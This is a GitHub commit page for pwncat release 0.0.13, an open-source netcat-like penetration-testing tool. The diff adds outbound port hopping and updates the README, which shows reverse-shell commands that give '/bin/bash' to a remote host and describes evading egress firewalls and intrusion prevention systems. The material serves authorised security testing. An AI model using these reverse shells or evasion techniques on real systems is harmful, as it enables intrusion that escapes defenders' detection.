Skip to content

Commit

Permalink
Merge pull request #65 from cytopia/release-0.0.13
Browse files Browse the repository at this point in the history
Release 0.0.13
  • Loading branch information
cytopia authored May 8, 2020
2 parents 02c678c + 1e2f105 commit d253363
Show file tree
Hide file tree
Showing 7 changed files with 248 additions and 127 deletions.
6 changes: 6 additions & 0 deletions CHANGELOG.md
Original file line number Diff line number Diff line change
Expand Up @@ -4,6 +4,12 @@
## Unreleased


## Release 0.0.13-alpha

#### Added
- Feature: Client port hopping (`--reconn-robin`): #43


## Release 0.0.12-alpha

#### Added
Expand Down
2 changes: 1 addition & 1 deletion Makefile
Original file line number Diff line number Diff line change
Expand Up @@ -73,7 +73,7 @@ _lint-version:
@VERSION_PWNCAT=$$( grep -E '^VERSION = "[.0-9]+(-\w+)?"' bin/pwncat | awk -F'"' '{print $$2}' || true ); \
VERSION_SETUP=$$( grep version= setup.py | awk -F'"' '{print $$2}' || true ); \
VERSION_CHANGE=$$( grep -E '## Release [.0-9]+(-\w+)?$$' CHANGELOG.md | head -1 | sed 's/.*[[:space:]]//g' || true ); \
if [ "$${VERSION_PWNCAT}" != "$${VERSION_SETUP}" ] && [ "$${VERSION_SETUP}" != "$${VERSION_CHANGE}" ]; then \
if [ "$${VERSION_PWNCAT}" != "$${VERSION_SETUP}" ] || [ "$${VERSION_SETUP}" != "$${VERSION_CHANGE}" ]; then \
echo "[ERROR] Version mismatch"; \
echo "bin/pwncat: $${VERSION_PWNCAT}"; \
echo "setup.py: $${VERSION_SETUP}"; \
Expand Down
57 changes: 46 additions & 11 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -134,7 +134,7 @@
</tbody>
<table>

> <sup>[1] <a href="https://cytopia.github.io/pwncat/pwncat.type.html">mypy type coverage</a> <strong>(fully typed: 93.51%)</strong></sup><br/>
> <sup>[1] <a href="https://cytopia.github.io/pwncat/pwncat.type.html">mypy type coverage</a> <strong>(fully typed: 93.54%)</strong></sup><br/>
> <sup>[2] Windows builds are currently only failing, because they are simply stuck on GitHub actions.</sup>

Expand Down Expand Up @@ -177,7 +177,7 @@ pwncat -l -e '/bin/bash' 8080
```
```bash
# Reverse shell (Ctrl+c proof)
pwncat -e '/bin/bash' example.com 4444 --recon --recon-wait 10
pwncat -e '/bin/bash' example.com 4444 --recon -1 --recon-wait 10
```
```bash
# Reverse UDP shell (Ctrl+c proof)
Expand Down Expand Up @@ -223,14 +223,15 @@ pwncat -R 10.0.0.1:4444 everythingcli.org 3306 -u
| Reverse shell | Create reverse shells |
| Port Forward | Local and remote port forward (Proxy server/client) |
| <kbd>Ctrl</kbd>+<kbd>c</kbd> | Reverse shell can reconnect if you accidentally hit <kbd>Ctrl</kbd>+<kbd>c</kbd> |
| Detect Egress | Scan and report open egress ports on the target |
| Evade FW | Evade egress firewalls by round-robin outgoing ports |
| Evade IPS | Evade Intrusion Prevention Systems by being able to round-robin outgoing ports on connection interrupts |
| Detect Egress | Scan and report open egress ports on the target (port hopping) |
| Evade FW | Evade egress firewalls by round-robin outgoing ports (port hopping) |
| Evade IPS | Evade Intrusion Prevention Systems by being able to round-robin outgoing ports on connection interrupts (port hopping) |
| UDP rev shell | Try this with the traditional `netcat` |
| TCP / UDP | Full TCP and UDP support |
| Python 2+3 | Works with Python 2 and Python 3 |
| Cross OS | Should work on Linux, MacOS and Windows as long as Python is available |
| Python 2+3 | Works with Python 2, Python 3, pypy2 and pypy3 |
| Cross OS | Work on Linux, MacOS and Windows as long as Python is available |
| Compatability | Use the traditional `netcat` as a client or server together with `pwncat` |
| Portable | Single file which only uses core packages - no external dependencies required. |


### Feature comparison matrix
Expand All @@ -247,7 +248,7 @@ pwncat -R 10.0.0.1:4444 everythingcli.org 3306 -u
| SCTP | :x: | :x: ||
| Command exec ||||
| Inbound port scan | * |||
| Outbound port scan | * | :x: | :x: |
| Outbound port scan | | :x: | :x: |
| Hex dump | * |||
| Telnet | :x: |||
| SSL | :x: | :x: ||
Expand All @@ -263,7 +264,7 @@ pwncat -R 10.0.0.1:4444 everythingcli.org 3306 -u
| Proxy | :x: |||
| UDP reverse shell || :x: | :x: |
| Respawning client || :x: | :x: |
| Port hopping | * | :x: | :x: |
| Port hopping | | :x: | :x: |
| Emergency shutdown || :x: | :x: |

> <sup>`*` Feature is currently under development.
Expand Down Expand Up @@ -701,7 +702,7 @@ tail -fn50 comm.txt
| | | | pwncat | | | MySQL |
| 56.0.0.1 | | | 72.0.0.1:3306 | | | 10.0.0.1:3306 |
+-----------------+ | +-----------------+ | +-----------------+
pwncat -l 4444 | pwncat --reconn \ |
pwncat -l 4444 | pwncat --reconn -1 \ |
| -R 56.0.0.1:4444 \ |
| 10.0.0.1 3306 |
```
Expand All @@ -722,14 +723,48 @@ tail -fn50 comm.txt
| | | | pwncat | | | MySQL |
| 56.0.0.1 | | | 72.0.0.1:3306 | | | 10.0.0.1:3306 |
+-----------------+ | +-----------------+ | +-----------------+
pwncat -u -l 53 | pwncat -u --reconn \ |
pwncat -u -l 53 | pwncat -u --reconn -1 \ |
| -R 56.0.0.1:4444 \ |
| 10.0.0.1 3306 |
```
<!--
</details>
-->


### Outbound port hopping

If you have no idea what outbound ports are allowed from the target machine, you can instruct
the client (e.g.: in case of a reverse shell) to probe outbound ports endlessly.

```bash
# Reverse shell on target (the client)
# --exec # The command shell the client should provide
# --reconn # Instruct it to reconnect endlessly
# --reconn-wait # Reconnect every 0.1 seconds
# --reconn-robin # Use these ports to probe for outbount connections

pwncat --exec /bin/bash --reconn -1 --reconn-wait 0.1 --reconn-robin 54-1024 10 10.0.0.1 53
```

Once the client is up and running, either use raw sockets to check for inbound traffic or use
something like Wireshark or tcpdump to find out from where the client is able to connect back to you,

If you found one or more ports that the client is able to connect to you,
simply start your listener locally and wait for it to come back.
```bash
pwncat -l <ip> <port>
```
If the client connects to you, you will have a working reverse shell. If you stop your local
listening server accidentally or on purpose, the client will probe ports again until it connects successfully.
In order to kill the reverse shell client, you can use `--safe-word` (when starting the client).


If none of this succeeds, you can add other measures such as using UDP or even wrapping your
packets into higher level protocols, such as HTTP or others. See [PSE](pse) or examples below
for how to transform your traffic.


### Pwncat Scripting Engine ([PSE](pse))

`pwncat` offers a Python based scripting engine to inject your custom code before sending and
Expand Down
70 changes: 43 additions & 27 deletions bin/pwncat
Original file line number Diff line number Diff line change
Expand Up @@ -88,7 +88,7 @@ if os.name != "nt":

APPNAME = "pwncat"
APPREPO = "https://github.com/cytopia/pwncat"
VERSION = "0.0.12-alpha"
VERSION = "0.0.13-alpha"

# Default timeout for timeout-based sys.stdin and socket.recv
TIMEOUT_READ_STDIN = 0.1
Expand Down Expand Up @@ -629,7 +629,9 @@ class ColoredLogFormatter(logging.Formatter):
return "%(levelname)s [%(threadName)s]: %(message)s"
# In lower than debug logging we will add even more info to all log formats
if self.loglevel < logging.DEBUG:
return "%(levelname)s [%(threadName)s] %(lineno)d:%(funcName)s(): %(message)s"
return (
"%(asctime)s %(levelname)s [%(threadName)s] %(lineno)d:%(funcName)s(): %(message)s"
)
# By default, we will only add basic info
return "%(levelname)s: %(message)s"

Expand Down Expand Up @@ -1447,7 +1449,7 @@ class IONetwork(IO):
ssig, # type: StopSignal
encoder, # type: StringEncoder
host, # type: str
port, # type: int
ports, # type: List[int]
role, # type: str
srv_opts, # type: DsIONetworkSrv
cli_opts, # type: DsIONetworkCli
Expand All @@ -1460,7 +1462,7 @@ class IONetwork(IO):
ssig (StopSignal): Stop signal instance
encoder (StringEncoder): Instance of StringEncoder (Python2/3 str/byte compat).
host (str): The hostname to resolve.
port (int): The port of the hostname to resolve.
ports ([int]): List of ports to connect to or listen on.
role (str): Either "server" or "client".
srv_opts (DsIONetworkSrv): Options for the server.
cli_opts (DsIONetworkCli): Options for the client.
Expand All @@ -1476,19 +1478,20 @@ class IONetwork(IO):
self.__cli_opts = cli_opts

try:
addr = self.__net.gethostbyname(host, port)
addr = self.__net.gethostbyname(host, ports[0])
except socket.gaierror:
sys.exit(1)

# Internally store addresses for reconn or rebind functions
self.__addr = addr
self.__port = port
self.__ports = ports
self.__pport = 0 # pointer to the current port

if role == "server":
if not self.__net.run_server(addr, port):
if not self.__net.run_server(self.__addr, self.__ports[self.__pport]):
sys.exit(1)
if role == "client":
if not self.__net.run_client(addr, port):
if not self.__net.run_client(self.__addr, self.__ports[self.__pport]):
if not self.__client_reconnect_to_server():
sys.exit(1)

Expand Down Expand Up @@ -1579,37 +1582,49 @@ class IONetwork(IO):
# reconn > 0 (reconnect until counter reaches zero)
while self.__cli_opts.reconn != 0:

# [1/5] Let's ask the interrupter() function if we should terminate?
# [1/6] Let's ask the interrupter() function if we should terminate?
# We need a little wait here in order for the stop signal to propagate.
# Don't know how fast the other threads are.
time.sleep(0.1)
if self.ssig.has_stop():
return False
# time.sleep(0.1)
# if self.ssig.has_stop():
# return False

# [2/5] Wait
# [2/6] Wait
time.sleep(self.__cli_opts.reconn_wait)

# [3/5] Let's ask the interrupter() function if we should terminate?
# [3/6] Let's ask the interrupter() function if we should terminate?
# In case the other threads were slower as the sleep time in [1/5]
# we will check again here.
if self.ssig.has_stop():
return False

# [4/6] Increment the port numer (if --reconn-robin has multiple)
self.__pport += 1
if self.__pport == len(self.__ports):
self.__pport = 0

if self.__cli_opts.reconn > 0:
self.log.info(
"Reconnecting in %f sec (%d more times left)",
"Reconnecting to %s:%d in %.1f sec (%d more times left)",
self.__addr,
self.__ports[self.__pport],
self.__cli_opts.reconn_wait,
self.__cli_opts.reconn,
)
else:
self.log.info("Reconnecting in %f sec (indefinitely)", self.__cli_opts.reconn_wait)
self.log.info(
"Reconnecting to %s:%d in %.1f sec (indefinitely)",
self.__addr,
self.__ports[self.__pport],
self.__cli_opts.reconn_wait,
)

# [4/5] Decrease reconnect counter
# [5/6] Decrease reconnect counter
if self.__cli_opts.reconn > 0:
self.__cli_opts.reconn -= 1

# [5/5] Recurse until True or reconnect count is used up
if self.__net.run_client(self.__addr, self.__port):
# [6/6] Recurse until True or reconnect count is used up
if self.__net.run_client(self.__addr, self.__ports[self.__pport]):
return True

# [5/5] Signal failure
Expand Down Expand Up @@ -2147,7 +2162,6 @@ def _args_check_robin_ports(value):
)
ports = []
for port in range(ranges[0], ranges[1] + 1):
print(type(port))
_args_check_port(str(port))
ports.append(port)
return ports
Expand Down Expand Up @@ -2736,7 +2750,7 @@ def main():
"""Run the program."""
args = get_args()
host = args.hostname
port = args.port
ports = [args.port]

# Set pwncat options
sock_opts = DsIONetworkSock(
Expand Down Expand Up @@ -2812,8 +2826,8 @@ def main():
lhost = args.local.split(":")[0]
lport = int(args.local.split(":")[1])
# Create listen and client instances
net_srv = IONetwork(ssig, enc, lhost, lport, "server", srv_opts, cli_opts, sock_opts)
net_cli = IONetwork(ssig, enc, host, port, "client", srv_opts, cli_opts, sock_opts)
net_srv = IONetwork(ssig, enc, lhost, [lport], "server", srv_opts, cli_opts, sock_opts)
net_cli = IONetwork(ssig, enc, host, ports, "client", srv_opts, cli_opts, sock_opts)
# Create Runner
run = Runner()
run.add_action(
Expand Down Expand Up @@ -2846,8 +2860,8 @@ def main():
lhost = args.remote.split(":")[0]
lport = int(args.remote.split(":")[1])
# Create local and remote client
net_cli_l = IONetwork(ssig, enc, lhost, lport, "client", srv_opts, cli_opts, sock_opts)
net_cli_r = IONetwork(ssig, enc, host, port, "client", srv_opts, cli_opts, sock_opts)
net_cli_l = IONetwork(ssig, enc, lhost, [lport], "client", srv_opts, cli_opts, sock_opts)
net_cli_r = IONetwork(ssig, enc, host, ports, "client", srv_opts, cli_opts, sock_opts)
# Create Runner
run = Runner()
run.add_action(
Expand All @@ -2873,7 +2887,7 @@ def main():
run.run()
# Run server
if args.listen:
net = IONetwork(ssig, enc, host, port, "server", srv_opts, cli_opts, sock_opts)
net = IONetwork(ssig, enc, host, ports, "server", srv_opts, cli_opts, sock_opts)
run = Runner()
run.add_action(
"RECV",
Expand All @@ -2899,7 +2913,9 @@ def main():

# Run client
else:
net = IONetwork(ssig, enc, host, port, "client", srv_opts, cli_opts, sock_opts)
net = IONetwork(
ssig, enc, host, ports + args.reconn_robin, "client", srv_opts, cli_opts, sock_opts
)
run = Runner()
run.add_action(
"RECV",
Expand Down
Loading

0 comments on commit d253363

Please sign in to comment.